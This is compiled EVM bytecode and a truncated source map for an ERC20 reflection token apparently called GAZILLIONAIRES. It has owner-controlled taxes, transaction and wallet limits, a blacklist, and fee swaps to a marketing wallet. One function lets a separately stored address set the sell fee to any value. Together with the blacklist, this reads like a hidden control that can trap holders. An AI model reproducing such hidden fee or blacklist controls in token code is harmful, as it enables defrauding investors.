29092919063ffffffff16565b6118c2565b600190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff166006600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8b90613698565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb90613704565b60405180910390fd5b806006600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b976118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b9061355f565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c876118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b9061355f565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d716118ba565b73ffffffffffffffffffffffffffffffffffffffff161480610de75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dcf6118ba565b73ffffffffffffffffffffffffffffffffffffffff16145b610df057600080fd5b6000479050610dfe81612376565b50565b6000610e4b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e2565b9050919050565b610e5a6118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ede9061355f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fad6118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110319061355f565b60405180910390fd5b8060178190555050565b60175481565b60126020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110936118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111179061355f565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600e81526020017f47415a494c4c494f4e4149524553000000000000000000000000000000000000815250905090565b6111886118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c9061355f565b60405180910390fd5b8060198190555050565b6112276118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ab9061355f565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b60006112ea6112e36118ba565b8484611a8d565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113556118ba565b73ffffffffffffffffffffffffffffffffffffffff1614806113cb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b36118ba565b73ffffffffffffffffffffffffffffffffffffffff16145b6113d457600080fd5b60006113df30610e01565b90506113ea81612450565b50565b6113f56118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611482576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114799061355f565b60405180910390fd5b60005b838390508110156115215781600560008686858181106114a8576114a761357f565b5b90506020020160208101906114bd91906132fe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611519906135dd565b915050611485565b50505050565b6006600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bf90613770565b60405180910390fd5b80600c8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6116616118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e59061355f565b60405180910390fd5b8060188190555050565b6117006118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461178d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117849061355f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f490613802565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192990613894565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199990613926565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a8091906131ef565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af4906139b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6490613a4a565b60405180910390fd5b60008111611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba790613adc565b60405180910390fd5b611bb8611062565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c265750611bf6611062565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561201157601660149054906101000a900460ff16611cb557611c47611062565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cab90613b6e565b60405180910390fd5b5b601754811115611cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf190613bda565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d9e5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd490613c6c565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611e8a5760185481611e3f84610e01565b611e499190613c8c565b10611e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8090613d54565b60405180910390fd5b5b6000611e9530610e01565b9050600060195482101590506017548210611eb05760175491505b808015611eca5750601660159054906101000a900460ff16155b8015611f245750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f3a575060168054906101000a900460ff165b8015611f905750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fe65750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561200e57611ff482612450565b6000479050600081111561200c5761200b47612376565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120b85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061216b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561216a5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121795760009050612300565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122245750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561223c57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122e75750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122ff57600b54600d81905550600c54600e819055505b5b61230c848484846126d8565b50505050565b600083831115829061235a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123519190613098565b60405180910390fd5b50600083856123699190613d74565b9050809150509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b5050565b6000600754821115612429576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242090613e1a565b60405180910390fd5b6000612433612705565b9050612448818461273090919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561248857612487612e26565b5b6040519080825280602002602001820160405280156124b65781602001602082028036833780820191505090505b50905030816000815181106124ce576124cd61357f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561257057600080fd5b505afa158015612584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a89190613e4f565b816001815181106125bc576125bb61357f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061262330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118c2565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612687959493929190613f75565b600060405180830381600087803b1580156126a157600080fd5b505af11580156126b5573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806126e6576126e561277a565b5b6126f18484846127bd565b806126ff576126fe612988565b5b50505050565b600080600061271261299c565b91509150612729818361273090919063ffffffff16565b9250505090565b600061277283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129f8565b905092915050565b6000600d5414801561278e57506000600e54145b15612798576127bb565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127cf87612a5b565b95509550955095509550955061282d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128c285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b0d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061290e81612b6b565b6129188483612c28565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161297591906131ef565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008060006007549050600066f6a11f484ec00090506129ce66f6a11f484ec00060075461273090919063ffffffff16565b8210156129eb5760075466f6a11f484ec0009350935050506129f4565b81819350935050505b9091565b60008083118290612a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a369190613098565b60405180910390fd5b5060008385612a4e9190613ffe565b9050809150509392505050565b6000806000806000806000806000612a788a600d54600e54612c62565b9250925092506000612a88612705565b90506000806000612a9b8e878787612cf8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b0583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612312565b905092915050565b6000808284612b1c9190613c8c565b905083811015612b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b589061407b565b60405180910390fd5b8091505092915050565b6000612b75612705565b90506000612b8c8284612d8190919063ffffffff16565b9050612be081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b0d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c3d82600754612ac390919063ffffffff16565b600781905550612c5881600854612b0d90919063ffffffff16565b6008819055505050565b600080600080612c8e6064612c80888a612d8190919063ffffffff16565b61273090919063ffffffff16565b90506000612cb86064612caa888b612d8190919063ffffffff16565b61273090919063ffffffff16565b90506000612ce182612cd3858c612ac390919063ffffffff16565b612ac390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d118589612d8190919063ffffffff16565b90506000612d288689612d8190919063ffffffff16565b90506000612d3f8789612d8190919063ffffffff16565b90506000612d6882612d5a8587612ac390919063ffffffff16565b612ac390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d945760009050612df6565b60008284612da2919061409b565b9050828482612db19190613ffe565b14612df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de890614167565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e5e82612e15565b810181811067ffffffffffffffff82111715612e7d57612e7c612e26565b5b80604052505050565b6000612e90612dfc565b9050612e9c8282612e55565b919050565b600067ffffffffffffffff821115612ebc57612ebb612e26565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612efd82612ed2565b9050919050565b612f0d81612ef2565b8114612f1857600080fd5b50565b600081359050612f2a81612f04565b92915050565b6000612f43612f3e84612ea1565b612e86565b90508083825260208201905060208402830185811115612f6657612f65612ecd565b5b835b81811015612f8f5780612f7b8882612f1b565b845260208401935050602081019050612f68565b5050509392505050565b600082601f830112612fae57612fad612e10565b5b8135612fbe848260208601612f30565b91505092915050565b600060208284031215612fdd57612fdc612e06565b5b600082013567ffffffffffffffff811115612ffb57612ffa612e0b565b5b61300784828501612f99565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561304a57808201518184015260208101905061302f565b83811115613059576000848401525b50505050565b600061306a82613010565b613074818561301b565b935061308481856020860161302c565b61308d81612e15565b840191505092915050565b600060208201905081810360008301526130b2818461305f565b905092915050565b6000819050919050565b6130cd816130ba565b81146130d857600080fd5b50565b6000813590506130ea816130c4565b92915050565b6000806040838503121561310757613106612e06565b5b600061311585828601612f1b565b9250506020613126858286016130db565b9150509250929050565b60008115159050919050565b61314581613130565b82525050565b6000602082019050613160600083018461313c565b92915050565b6000819050919050565b600061318b61318661318184612ed2565b613166565b612ed2565b9050919050565b600061319d82613170565b9050919050565b60006131af82613192565b9050919050565b6131bf816131a4565b82525050565b60006020820190506131da60008301846131b6565b92915050565b6131e9816130ba565b82525050565b600060208201905061320460008301846131e0565b92915050565b60008060006060848603121561322357613222612e06565b5b600061323186828701612f1b565b935050602061324286828701612f1b565b9250506040613253868287016130db565b9150509250925092565b6000806040838503121561327457613273612e06565b5b6000613282858286016130db565b925050602061329385828601612f1b565b9150509250929050565b600060ff82169050919050565b6132b38161329d565b82525050565b60006020820190506132ce60008301846132aa565b92915050565b6132dd81612ef2565b82525050565b60006020820190506132f860008301846132d4565b92915050565b60006020828403121561331457613313612e06565b5b600061332284828501612f1b565b91505092915050565b61333481613130565b811461333f57600080fd5b50565b6000813590506133518161332b565b92915050565b60006020828403121561336d5761336c612e06565b5b600061337b84828501613342565b91505092915050565b60006020828403121561339a57613399612e06565b5b60006133a8848285016130db565b91505092915050565b600080600080608085870312156133cb576133ca612e06565b5b60006133d9878288016130db565b94505060206133ea878288016130db565b93505060406133fb878288016130db565b925050606061340c878288016130db565b91505092959194509250565b600080fd5b60008083601f84011261343357613432612e10565b5b8235905067ffffffffffffffff8111156134505761344f613418565b5b60208301915083602082028301111561346c5761346b612ecd565b5b9250929050565b60008060006040848603121561348c5761348b612e06565b5b600084013567ffffffffffffffff8111156134aa576134a9612e0b565b5b6134b68682870161341d565b935093505060206134c986828701613342565b9150509250925092565b600080604083850312156134ea576134e9612e06565b5b60006134f885828601612f1b565b925050602061350985828601612f1b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061354960208361301b565b915061355482613513565b602082019050919050565b600060208201905081810360008301526135788161353c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006135e8826130ba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561361b5761361a6135ae565b5b600182019050919050565b7f4164647265737320616c72656164792061737369676e656420746f207468697360008201527f2075736572000000000000000000000000000000000000000000000000000000602082015250565b600061368260258361301b565b915061368d82613626565b604082019050919050565b600060208201905081810360008301526136b181613675565b9050919050565b7f496e76616c696420616464726573732070726f76696465640000000000000000600082015250565b60006136ee60188361301b565b91506136f9826136b8565b602082019050919050565b6000602082019050818103600083015261371d816136e1565b9050919050565b7f6e6f2076616c7565000000000000000000000000000000000000000000000000600082015250565b600061375a60088361301b565b915061376582613724565b602082019050919050565b600060208201905081810360008301526137898161374d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006137ec60268361301b565b91506137f782613790565b604082019050919050565b6000602082019050818103600083015261381b816137df565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061387e60248361301b565b915061388982613822565b604082019050919050565b600060208201905081810360008301526138ad81613871565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061391060228361301b565b915061391b826138b4565b604082019050919050565b6000602082019050818103600083015261393f81613903565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006139a260258361301b565b91506139ad82613946565b604082019050919050565b600060208201905081810360008301526139d181613995565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a3460238361301b565b9150613a3f826139d8565b604082019050919050565b60006020820190508181036000830152613a6381613a27565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613ac660298361301b565b9150613ad182613a6a565b604082019050919050565b60006020820190508181036000830152613af581613ab9565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613b58603f8361301b565b9150613b6382613afc565b604082019050919050565b60006020820190508181036000830152613b8781613b4b565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613bc4601c8361301b565b9150613bcf82613b8e565b602082019050919050565b60006020820190508181036000830152613bf381613bb7565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613c5660238361301b565b9150613c6182613bfa565b604082019050919050565b60006020820190508181036000830152613c8581613c49565b9050919050565b6000613c97826130ba565b9150613ca2836130ba565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613cd757613cd66135ae565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613d3e60238361301b565b9150613d4982613ce2565b604082019050919050565b60006020820190508181036000830152613d6d81613d31565b9050919050565b6000613d7f826130ba565b9150613d8a836130ba565b925082821015613d9d57613d9c6135ae565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613e04602a8361301b565b9150613e0f82613da8565b604082019050919050565b60006020820190508181036000830152613e3381613df7565b9050919050565b600081519050613e4981612f04565b92915050565b600060208284031215613e6557613e64612e06565b5b6000613e7384828501613e3a565b91505092915050565b6000819050919050565b6000613ea1613e9c613e9784613e7c565b613166565b6130ba565b9050919050565b613eb181613e86565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613eec81612ef2565b82525050565b6000613efe8383613ee3565b60208301905092915050565b6000602082019050919050565b6000613f2282613eb7565b613f2c8185613ec2565b9350613f3783613ed3565b8060005b83811015613f68578151613f4f8882613ef2565b9750613f5a83613f0a565b925050600181019050613f3b565b5085935050505092915050565b600060a082019050613f8a60008301886131e0565b613f976020830187613ea8565b8181036040830152613fa98186613f17565b9050613fb860608301856132d4565b613fc560808301846131e0565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614009826130ba565b9150614014836130ba565b92508261402457614023613fcf565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614065601b8361301b565b91506140708261402f565b602082019050919050565b6000602082019050818103600083015261409481614058565b9050919050565b60006140a6826130ba565b91506140b1836130ba565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140ea576140e96135ae565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061415160218361301b565b915061415c826140f5565b604082019050919050565b6000602082019050818103600083015261418081614144565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365456c6f6e4d75736b323330624265726e61726441726e61756c74323232624a65666642657a6f73313634624c61727279456c6c69736f6e3134356257617272656e427566666574743132316242696c6c4761746573313138624d61726b5a75636b65726265726731313262a2646970667358221220ad4cb77a77e641794d806aebeddb3b166caf38eecaff383cc6836768452e578064736f6c63430008090033

Deployed Bytecode Sourcemap

4193:14017:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13246:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6849:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7774:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5698:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7126:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7975:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8429:217;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5996:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7035:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5746:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13423:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17592:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13003:235;;;;;;;;;;;;;:::i;:::-;;7229:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1680:148;;;;;;;;;;;;;:::i;:::-;;17732:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5889:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5440:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1466:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12650:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5942:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6940:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17264:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16921:291;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7375:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5402:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12759:236;;;;;;;;;;;;;:::i;:::-;;17971:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17411:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7582:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17848:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1836:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13246:169;1603:12;:10;:12::i;:::-;1593:22;;:6;;;;;;;;;;:22;;;1585:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13322:9:::1;13317:91;13341:5;:12;13337:1;:16;13317:91;;;13392:4;13375;:14;13380:5;13386:1;13380:8;;;;;;;;:::i;:::-;;;;;;;;13375:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;13355:3;;;;;:::i;:::-;;;;13317:91;;;;13246:169:::0;:::o;6849:83::-;6886:13;6919: